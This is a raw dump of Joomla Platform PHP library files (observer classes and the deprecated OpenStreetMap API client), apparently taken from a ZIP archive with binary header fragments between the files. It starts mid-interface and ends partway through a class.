* @param array $params Params of event (params in observer function)
*
* @return void
*
* @since 3.1.2
*/
public function update($event, $params);
/**
* Enable/Disable calling of observers (this is useful when calling
parent:: function
*
* @param boolean $enabled Enable (true) or Disable (false) the
observer events
*
* @return boolean Returns old state
*
* @since 3.1.2
*/
public function doCallObservers($enabled);
}
PKOn�[��>���observer/updater.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer updater pattern implementation for Joomla
*
* @since 3.1.2
*/
class JObserverUpdater implements JObserverUpdaterInterface
{
/**
* Holds the key aliases for observers.
*
* @var array
* @since 3.9.0
*/
protected $aliases = array();
/**
* Generic JObserverInterface observers for this JObservableInterface
*
* @var JObserverInterface
* @since 3.1.2
*/
protected $observers = array();
/**
* Process observers (useful when a class extends significantly an
observed method, and calls observers itself
*
* @var boolean
* @since 3.1.2
*/
protected $doCallObservers = true;
/**
* Constructor
*
* @param JObservableInterface $observable The observable subject
object
*
* @since 3.1.2
*/
public function __construct(JObservableInterface $observable)
{
// Not yet needed, but possible: $this->observable = $observable;
}
/**
* Adds an observer to the JObservableInterface instance updated by this
* This method can be called from JObservableInterface::attachObserver
*
* @param JObserverInterface $observer The observer object
*
* @return void
*
* @since 3.1.2
*/
public function attachObserver(JObserverInterface $observer)
{
$class = get_class($observer);
// Also register the alias if exists
foreach (JLoader::getDeprecatedAliases() as $alias)
{
$realClass = trim($alias['new'], '\\');
// Check if we have an alias for the observer class
if ($realClass === $class)
{
$aliasClass = trim($alias['old'], '\\');
// Add an alias to known aliases
$this->aliases[$aliasClass] = $class;
}
}
// Register the real class
$this->observers[$class] = $observer;
}
/**
* Removes an observer from the JObservableInterface instance updated by
this
* This method can be called from JObservableInterface::attachObserver
*
* @param String $observer The observer class name
*
* @return void
*
* @since 3.6.0
*/
public function detachObserver($observer)
{
$observer = trim($observer, '\\');
if (isset($this->aliases[$observer]))
{
$observer = $this->aliases[$observer];
}
if (isset($this->observers[$observer]))
{
unset($this->observers[$observer]);
}
}
/**
* Gets the instance of the observer of class $observerClass
*
* @param string $observerClass The class name of the observer
*
* @return JTableObserver|null The observer object of this class if any
*
* @since 3.1.2
*/
public function getObserverOfClass($observerClass)
{
$observerClass = trim($observerClass, '\\');
if (isset($this->aliases[$observerClass]))
{
$observerClass = $this->aliases[$observerClass];
}
if (isset($this->observers[$observerClass]))
{
return $this->observers[$observerClass];
}
return null;
}
/**
* Call all observers for $event with $params
*
* @param string $event Name of the event
* @param array $params Params of the event
*
* @return void
*
* @since 3.1.2
*/
public function update($event, $params)
{
if ($this->doCallObservers)
{
foreach ($this->observers as $observer)
{
$eventListener = array($observer, $event);
if (is_callable($eventListener))
{
call_user_func_array($eventListener, $params);
}
}
}
}
/**
* Enable/Disable calling of observers (this is useful when calling
parent:: function
*
* @param boolean $enabled Enable (true) or Disable (false) the
observer events
*
* @return boolean Returns old state
*
* @since 3.1.2
*/
public function doCallObservers($enabled)
{
$oldState = $this->doCallObservers;
$this->doCallObservers = $enabled;
return $oldState;
}
}
PKOn�[�HGobserver/wrapper/mapper.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JObserverMapper
*
* @package Joomla.Platform
* @subpackage Observer
* @since 3.4
*/
class JObserverWrapperMapper
{
/**
* Helper wrapper method for addObserverClassToClass
*
* @param string $observerClass The name of the observer
class (implementing JObserverInterface).
* @param string $observableClass The name of the observable
class (implementing JObservableInterface).
* @param array|boolean $params The params to give to the
JObserverInterface::createObserver() function, or false to remove mapping.
*
* @return void
*
* @see JObserverMapper::addObserverClassToClass
* @since 3.4
*/
public function addObserverClassToClass($observerClass, $observableClass,
$params = array())
{
return JObserverMapper::addObserverClassToClass($observerClass,
$observableClass, $params);
}
/**
* Helper wrapper method for attachAllObservers
*
* @param JObservableInterface $observableObject The observable
subject object.
*
* @return void
*
* @see JObserverMapper::attachAllObservers
* @since 3.4
*/
public function attachAllObservers(JObservableInterface $observableObject)
{
return JObserverMapper::attachAllObservers($observableObject);
}
}
PKOn�[n
����openstreetmap/changesets.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API Changesets class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapChangesets extends JOpenstreetmapObject
{
/**
* Method to create a changeset
*
* @param array $changesets Array which contains changeset data
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createChangeset($changesets=array())
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
'oauth_token_secret' => $token['secret'],
);
// Set the API base
$base = 'changeset/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">';
if (!empty($changesets))
{
// Create Changeset element for every changeset
foreach ($changesets as $tags)
{
$xml .= '<changeset>';
if (!empty($tags))
{
// Create a list of tags for each changeset
foreach ($tags as $key => $value)
{
$xml .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$xml .= '</changeset>';
}
}
$xml .= '</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to read a changeset
*
* @param integer $id identifier of the changeset
*
* @return array The XML response about a changeset
*
* @since 3.2.0
*/
public function readChangeset($id)
{
// Set the API base
$base = 'changeset/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->changeset;
}
/**
* Method to update a changeset
*
* @param integer $id Identifier of the changeset
* @param array $tags Array of tags to update
*
* @return array The XML response of updated changeset
*
* @since 3.2.0
*/
public function updateChangeset($id, $tags = array())
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create a list of tags to update changeset
$tag_list = '';
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<changeset>'
. $tag_list .
'</changeset>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
$xml_string = simplexml_load_string($response->body);
return $xml_string->changeset;
}
/**
* Method to close a changeset
*
* @param integer $id identifier of the changeset
*
* @return void
*
* @since 3.2.0
*/
public function closeChangeset($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id . '/close';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['format'] = 'text/xml';
// Send the request.
$this->oauth->oauthRequest($path, 'PUT', $parameters,
$header);
}
/**
* Method to download a changeset
*
* @param integer $id Identifier of the changeset
*
* @return array The XML response of requested changeset
*
* @since 3.2.0
*/
public function downloadChangeset($id)
{
// Set the API base
$base = 'changeset/' . $id . '/download';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->create;
}
/**
* Method to expand the bounding box of a changeset
*
* @param integer $id Identifier of the changeset
* @param array $nodes List of lat lon about nodes
*
* @return array The XML response of changed changeset
*
* @since 3.2.0
*/
public function expandBBoxChangeset($id, $nodes)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id . '/expand_bbox';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create a list of tags to update changeset
$node_list = '';
if (!empty($nodes))
{
foreach ($nodes as $node)
{
$node_list .= '<node lat="' . $node[0] . '"
lon="' . $node[1] . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<changeset>'
. $node_list .
'</changeset>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
$xml_string = simplexml_load_string($response->body);
return $xml_string->changeset;
}
/**
* Method to query on changesets
*
* @param string $param Parameters for query
*
* @return array The XML response
*
* @since 3.2.0
*/
public function queryChangeset($param)
{
// Set the API base
$base = 'changesets/' . $param;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->osm;
}
/**
* Method to upload a diff to a changeset
*
* @param string $xml Diff data to upload
* @param integer $id Identifier of the changeset
*
* @return array The XML response of result
*
* @since 3.2.0
*/
public function diffUploadChangeset($xml, $id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id . '/upload';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
$xml_string = simplexml_load_string($response->body);
return $xml_string->diffResult;
}
}
PKOn�[���4�4openstreetmap/elements.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API Elements class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapElements extends JOpenstreetmapObject
{
/**
* Method to create a node
*
* @param integer $changeset Changeset id
* @param float $latitude Latitude of the node
* @param float $longitude Longitude of the node
* @param array $tags Array of tags for a node
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createNode($changeset, $latitude, $longitude, $tags)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'node/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$tag_list = '';
// Create XML node
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<node changeset="' . $changeset . '"
lat="' . $latitude . '" lon="' . $longitude .
'">'
. $tag_list .
'</node>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to create a way
*
* @param integer $changeset Changeset id
* @param array $tags Array of tags for a way
* @param array $nds Node ids to refer
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createWay($changeset, $tags, $nds)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'way/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$tag_list = '';
// Create XML node
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$nd_list = '';
if (!empty($nds))
{
foreach ($nds as $value)
{
$nd_list .= '<nd ref="' . $value .
'"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<way changeset="' . $changeset . '">'
. $tag_list
. $nd_list .
'</way>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to create a relation
*
* @param integer $changeset Changeset id
* @param array $tags Array of tags for a relation
* @param array $members Array of members for a relation
* eg: $members =
array(array("type"=>"node",
"role"=>"stop",
"ref"=>"123"),
array("type"=>"way",
"ref"=>"123"))
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createRelation($changeset, $tags, $members)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'relation/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$tag_list = '';
// Create XML node
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
// Members
$member_list = '';
if (!empty($members))
{
foreach ($members as $member)
{
if ($member['type'] == 'node')
{
$member_list .= '<member type="' .
$member['type'] . '" role="' .
$member['role'] . '" ref="' .
$member['ref'] . '"/>';
}
elseif ($member['type'] == 'way')
{
$member_list .= '<member type="' .
$member['type'] . '" ref="' .
$member['ref'] . '"/>';
}
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<relation relation="' . $changeset . '"
>'
. $tag_list
. $member_list .
'</relation>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to read an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function readElement($element, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to update an Element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param string $xml Full reperentation of the element with a
version number
* @param integer $id Element identifier
*
* @return array The xml response
*
* @since 3.2.0
* @throws DomainException
*/
public function updateElement($element, $xml, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = $element . '/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to delete an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
* @param integer $version Element version
* @param integer $changeset Changeset identifier
* @param float $latitude Latitude of the element
* @param float $longitude Longitude of the element
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function deleteElement($element, $id, $version, $changeset,
$latitude = null, $longitude = null)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = $element . '/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create xml
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<' . $element . ' id="' . $id . '"
version="' . $version . '" changeset="' .
$changeset . '"';
if (!empty($latitude) && !empty($longitude))
{
$xml .= ' lat="' . $latitude . '"
lon="' . $longitude . '"';
}
$xml .= '/></osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to get history of an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function historyOfElement($element, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/history';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to get details about a version of an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
* @param integer $version Element version
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function versionOfElement($element, $id, $version)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/' . $version;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to get data about multiple ids of an element [node|way|relation]
*
* @param string $element [nodes|ways|relations] - use plural word
* @param string $params Comma separated list of ids belonging to
type $element
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function multiFetchElements($element, $params)
{
if ($element != 'nodes' && $element != 'ways'
&& $element != 'relations')
{
throw new DomainException('Element should be nodes, ways or
relations');
}
// Get singular word
$single_element = substr($element, 0, strlen($element) - 1);
// Set the API base, $params is a string with comma separated values
$base = $element . '?' . $element . '=' . $params;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$single_element;
}
/**
* Method to get relations for an Element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function relationsForElement($element, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/relations';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to get ways for a Node element
*
* @param integer $id Node identifier
*
* @return array The XML response
*
* @since 3.2.0
*/
public function waysForNode($id)
{
// Set the API base
$base = 'node/' . $id . '/ways';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->way;
}
/**
* Method to get full information about an element [way|relation]
*
* @param string $element [way|relation]
* @param integer $id Identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function fullElement($element, $id)
{
if ($element != 'way' && $element !=
'relation')
{
throw new DomainException('Element should be a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/full';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->node;
}
/**
* Method used by the DWG to hide old versions of elements containing data
privacy or copyright infringements
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
* @param integer $version Element version
* @param integer $redactionId Redaction id
*
* @return array The xml response
*
* @since 3.2.0
* @throws DomainException
*/
public function redaction($element, $id, $version, $redactionId)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = $element . '/' . $id . '/' . $version .
'/redact?redaction=' . $redactionId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters);
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
}
PKOn�[�Q�openstreetmap/gps.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API GPS class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapGps extends JOpenstreetmapObject
{
/**
* Method to retrieve GPS points
*
* @param float $left Left boundary
* @param float $bottom Bottom boundary
* @param float $right Right boundary
* @param float $top Top boundary
* @param integer $page Page number
*
* @return array The XML response containing GPS points
*
* @since 3.2.0
*/
public function retrieveGps($left, $bottom, $right, $top, $page = 0)
{
// Set the API base
$base = 'trackpoints?bbox=' . $left . ',' . $bottom .
',' . $right . ',' . $top . '&page=' .
$page;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
/**
* Method to upload GPS Traces
*
* @param string $file File name that contains trace points
* @param string $description Description on trace points
* @param string $tags Tags for trace
* @param integer $public 1 for public, 0 for private
* @param string $visibility One of the following: private, public,
trackable, identifiable
* @param string $username Username
* @param string $password Password
*
* @return JHttpResponse The response
*
* @since 3.2.0
*/
public function uploadTrace($file, $description, $tags, $public,
$visibility, $username, $password)
{
// Set parameters.
$parameters = array(
'file' => $file,
'description' => $description,
'tags' => $tags,
'public' => $public,
'visibility' => $visibility,
);
// Set the API base
$base = 'gpx/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'multipart/form-data';
$header = array_merge($header, $parameters);
$header = array_merge($header, array('Authorization' =>
'Basic ' . base64_encode($username . ':' .
$password)));
// Send the request.
$response = $this->sendRequest($path, 'POST', $header,
array());
return $response;
}
/**
* Method to download Trace details
*
* @param integer $id Trace identifier
* @param string $username Username
* @param string $password Password
*
* @return array The XML response
*
* @since 3.2.0
*/
public function downloadTraceMetadetails($id, $username, $password)
{
// Set the API base
$base = 'gpx/' . $id . '/details';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path, 'GET',
array('Authorization' => 'Basic ' .
base64_encode($username . ':' . $password)));
return $xml_string;
}
/**
* Method to download Trace data
*
* @param integer $id Trace identifier
* @param string $username Username
* @param string $password Password
*
* @return array The XML response
*
* @since 3.2.0
*/
public function downloadTraceMetadata($id, $username, $password)
{
// Set the API base
$base = 'gpx/' . $id . '/data';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path, 'GET',
array('Authorization' => 'Basic ' .
base64_encode($username . ':' . $password)));
return $xml_string;
}
}
PKOn�[W���YYopenstreetmap/info.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API Info class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapInfo extends JOpenstreetmapObject
{
/**
* Method to get capabilities of the API
*
* @return array The XML response
*
* @since 3.2.0
*/
public function getCapabilities()
{
// Set the API base
$base = 'capabilities';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
/**
* Method to retrieve map data of a bounding box
*
* @param float $left Left boundary
* @param float $bottom Bottom boundary
* @param float $right Right boundary
* @param float $top Top boundary
*
* @return array The XML response
*
* @since 3.2.0
*/
public function retrieveMapData($left, $bottom, $right, $top)
{
// Set the API base
$base = 'map?bbox=' . $left . ',' . $bottom .
',' . $right . ',' . $top;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
/**
* Method to retrieve permissions for current user
*
* @return array The XML response
*
* @since 3.2.0
*/
public function retrievePermissions()
{
// Set the API base
$base = 'permissions';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
}
PKOn�[���d� � openstreetmap/oauth.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Openstreetmap API access token.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapOauth extends JOAuth1Client
{
/**
* Options for the JOpenstreetmapOauth object.
*
* @var Registry
* @since 3.2.0
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JOpenstreetmapOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->options->def('accessTokenURL',
'https://www.openstreetmap.org/oauth/access_token');
$this->options->def('authoriseURL',
'https://www.openstreetmap.org/oauth/authorize');
$this->options->def('requestTokenURL',
'https://www.openstreetmap.org/oauth/request_token');
/*
$this->options->def('accessTokenURL',
'https://api06.dev.openstreetmap.org/oauth/access_token');
$this->options->def('authoriseURL',
'https://api06.dev.openstreetmap.org/oauth/authorize');
$this->options->def('requestTokenURL',
'https://api06.dev.openstreetmap.org/oauth/request_token');
*/
// Call the JOauth1Client constructor to setup the object.
parent::__construct($this->options, $client, $input, null,
'1.0');
}
/**
* Method to verify if the access token is valid by making a request to an
API endpoint.
*
* @return boolean Returns true if the access token is valid and false
otherwise.
*
* @since 3.2.0
*/
public function verifyCredentials()
{
return true;
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
public function validateResponse($url, $response)
{
if ($response->code != 200)
{
$error = htmlspecialchars($response->body, ENT_COMPAT,
'UTF-8');
throw new DomainException($error, $response->code);
}
}
}
PKOn�[���TAAopenstreetmap/object.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Openstreetmap API object class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
abstract class JOpenstreetmapObject
{
/**
* Options for the Openstreetmap object.
*
* @var Registry
* @since 3.2.0
*/
protected $options;
/**
* The HTTP client object to use in sending HTTP requests.
*
* @var JHttp
* @since 3.2.0
*/
protected $client;
/**
* The OAuth client.
*
* @var JOpenstreetmapOauth
* @since 3.2.0
*/
protected $oauth;
/**
* Constructor
*
* @param Registry &$options Openstreetmap options
object.
* @param JHttp $client The HTTP client object.
* @param JOpenstreetmapOauth $oauth Openstreetmap oauth client
*
* @since 3.2.0
*/
public function __construct(Registry &$options = null, JHttp $client =
null, JOpenstreetmapOauth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Get an option from the JOpenstreetmapObject instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JOpenstreetmapObject instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JOpenstreetmapObject This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
/**
* Method to send the request which does not require authentication.
*
* @param string $path The path of the request to make
* @param string $method The request method.
* @param array $headers The headers passed in the request.
* @param mixed $data Either an associative array or a string to
be sent with the post request.
*
* @return SimpleXMLElement The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function sendRequest($path, $method = 'GET', $headers =
array(), $data = '')
{
// Send the request.
switch ($method)
{
case 'GET':
$response = $this->client->get($path, $headers);
break;
case 'POST':
$response = $this->client->post($path, $data, $headers);
break;
}
// Validate the response code.
if ($response->code != 200)
{
$error = htmlspecialchars($response->body, ENT_COMPAT,
'UTF-8');
throw new DomainException($error, $response->code);
}
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
}
PKOn�[��+�
�
openstreetmap/openstreetmap.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interact with Openstreetmap API.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmap
{
/**
* Options for the Openstreetmap object.
*
* @var Registry
* @since 3.2.0
*/
protected $options;
/**
* The HTTP client object to use in sending HTTP requests.
*
* @var JHttp
* @since 3.2.0
*/
protected $client;
/**
* The OAuth client.
*
* @var JOpenstreetmapOauth
* @since 3.2.0
*/
protected $oauth;
/**
* Openstreetmap API object for changesets.
*
* @var JOpenstreetmapChangesets
* @since 3.2.0
*/
protected $changesets;
/**
* Openstreetmap API object for elements.
*
* @var JOpenstreetmapElements
* @since 3.2.0
*/
protected $elements;
/**
* Openstreetmap API object for GPS.
*
* @var JOpenstreetmapGps
* @since 3.2.0
*/
